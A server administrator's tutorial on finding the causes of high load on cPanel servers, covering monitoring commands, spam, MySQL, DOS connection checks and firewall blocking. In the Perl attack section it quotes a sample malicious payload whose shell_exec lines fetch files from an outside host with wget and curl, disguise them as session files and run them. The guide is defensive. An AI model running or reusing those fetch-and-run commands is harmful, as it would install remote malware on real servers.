Load Tackling in Cpanel Servers

As we all know, server stability is directly dependent on serverload. Based on my experience as an Linux Server Administrator in Cpanel servers, I am writing this article to share some of my ideas regarding load tackling.

Load, in computing, is a "measure of the amount of processing a computer system is currently performing, usually in the form of a scalar and as some variation on a percentage,"according to Wikipedia.

This article mainly concentrates in finding the causes for load.

Load Checking Commands

Here are some well-used load checking commands:

w

Shows who is logged on and what they are doing, e.g.:

07:28:29  up 41 days, 20:41,  2 users,  load average: 0.03, 0.09, 0.08

Server Time - 07:28:29  
Server Uptime -  up 41 days, 20:41hrs No: of users logged : 2 users

Load Average: 0.03,0.09, 0.08

1minute Load  : 0.03 Last 5 Min Load Avg:  0.09 Last 15 Min Load Avg: 0.08 

uptime

Same as w command, but uptime won't list the details of users

pstree

Displays a tree of processes.

pstree -apu

is more useful in checking the process list. You can get more details from the man pages.

top

To see currently running processes.

mysqladmin proc stat

Shows the current mysql process details.

Causes of Load

Some causes for load include:

• High use of some processes
• Perl script attacks
• Spamming
• Php scripts causing the load
• MySQL Abuse
• DOS attack

Most of abuse issues in the server can be found in the previous " Load Checking Commands" section.

High Use of Some Processes

You can find it using the command 'top -c' and 'pstree -apu'. Install CSF and configure it to get alerts on "Excessive resource usage."

Set your email address in this file: /etc/csf/resalert.txt

Perl Script Attacks

These attacks are usually caused by poor coding or vulnerabilities in software versions.

If those Perl scripts are running you can see something similar to below after running 'pstree -apu':

===========
├─perl,30478,user
   └─sh,30479 -c echo\\040\"`uname\\040-a`\";echo\\040\"`id`\";/bin/sh
   │       └─sh,30485 
=========== 

How to find the source of the Perl:

root@techyfix [~]# ls -alh /proc/30478 |grep cwd

==========

lrwxrwxrwx 1 user user 0 Sep 28 06:16 
cwd -> /home/user/public_html/media/

===========

You can see the Perl script running from " /home/user/public_html/media/" folder.

A sample Perl script might look like this example:

===========
   wget http://webstorch.com/a;chmod +x a;mv a sess_vttn737j6k0mci66akhs5u1261398401;./sess_vttn737j6k0mci66akhs5u1261398401; rm a*\');
 shell_exec(\'cd /tmp;curl -O http://webstorch.com/botek.txt;mv botek.txt .sessx;perl .sessxt;rm botek.txt.*;curl -O http://webstorch.com/a;chmod +x a;
 mv a sess_vttn737j6k0mci66akhs5u1261398401;./sess_vttn737j6k0mci66akhs5u1261398401;rm a*\'); 
 ============= 

Also, you can use the command " lsof -p 30478 |less " to get more information.

Preventive measures for blocking such Perl attacks include:

• Disable allow_url_fopen and allow_url_include in your php.ini (/usr/local/lib/php.ini) file
• Disable following functions in PHP:
  disable_functions = exec, shellexec, passthru, system, escapeshellcmd, escapeshellarg
• Install mod_security (this also helps in reducing Iframe attacks )

Spamming

Spamming can be either incoming or outgoing.
Incoming spamming might be concentrated to some domain or some email accounts.
Most of any incoming spamming is caused due to the catch-all being set as main account.If the catch-all for your domain is set to main account, set it as fail.
How to set catch-all for new domains in Cpanel server:

WHM >>Main >> Server Configuration >> Tweak Settings: Under Mail section

Default catch-all/default address behavior for new accounts. "fail" is usually the best choice if you are getting mail attacks.

Also, enable RBL and spamassasin options in WHM >> Main >> Exim Configuration

For outgoing spamming, some users may be using (knowingly or otherwise) some PHP scripts to try to send spam mails.You can find the source of PHP scripts using the command 'ps -C exim -fH ewww |grep home'.

Preventive measures for spam blocking include:

• Limit the emails that can be sent.
• Tweak Mail settings as Follows: WHM >>Main >> Server Configuration >> Tweak Settings: Under Mail section
• The maximum each domain can send out per hour (0 is unlimited) : 300¬†

Some helpful exim commands include:

exim -bp (For showing queue)
exim -bpc (Count of mail queue)
ps -C exim -fH ewww (For finding script sources )
exim -bp |exiqsumm (To get full exim queue summary )
exiqgrep -z -i | xargs exim -Mrm (Remove all frozen messages)

Php Scripts Causing the Load

This can be easily found through the results of the 'pstree apu' and 'top -c' commands during load spikes.

MySQL Abuse

You can track down MySQL usage using the command 'mysqladmin proc stat'.

DOS Attack (Denial Of Service)

By the name alone, we know what this means: denial of services like httpd, exim, ftp, etc.Mostly we deal with DOS attacks on Apache services, which causes sites to slow down or not load at all.

A DOS attack means high connections from certain an IP address or IPs. We can easily find the high-connection IP using the 'netstat' command and block those IP's using firewalls.

The command for listing IPs and number of connections is:

 netstat -plan |grep :80|awk '{print $5}' |cut -d: -f1 |sort |uniq -c |sort -n

The command for finding the total connections is:

 netstat -plan |grep :80 |wc -l

If you do find any IP address having excessive connections (more than 50), then you have to block it either by using iptables, APF, or CSF.

Using iptables, you can block an IP by issuing the command:

iptables -A  INPUT -s  --dport 80 -p tcp -j DROP

/etc/rc.d/init.d/iptables save

Using APF, this command is used:

apf -d IP

Using CSF:

csf -d IP

DDOS is distributed denial of service, which is an advanced DOS attack. The number of connections from an indvidual IP might be low, but the connections will be from many IPs or range of IPs.

Most of times attack will be concentrated to one domain. In such cases kill the dns of domain to reduce the attack.
Preventive measures for DDOS attacks include:

• Install firewalls like APF or CSF and configure them to block the high connection IPs.
• Install mod_dosevasive module (only during the DOS attack)

Conclusion

As we all know, "prevention is better than cure," so always take necessary preventive measures and keep auditing and monitoring your servers.

• Install System Integrity Monitor (SIM) or CSF and configure it to get alerts on load spikes.
• Update your old and vulnerable software.
• Take the necessary preventive measures to avoid load spiking.
• Secure your servers and tweak your software like apache, exim, etc for better performance.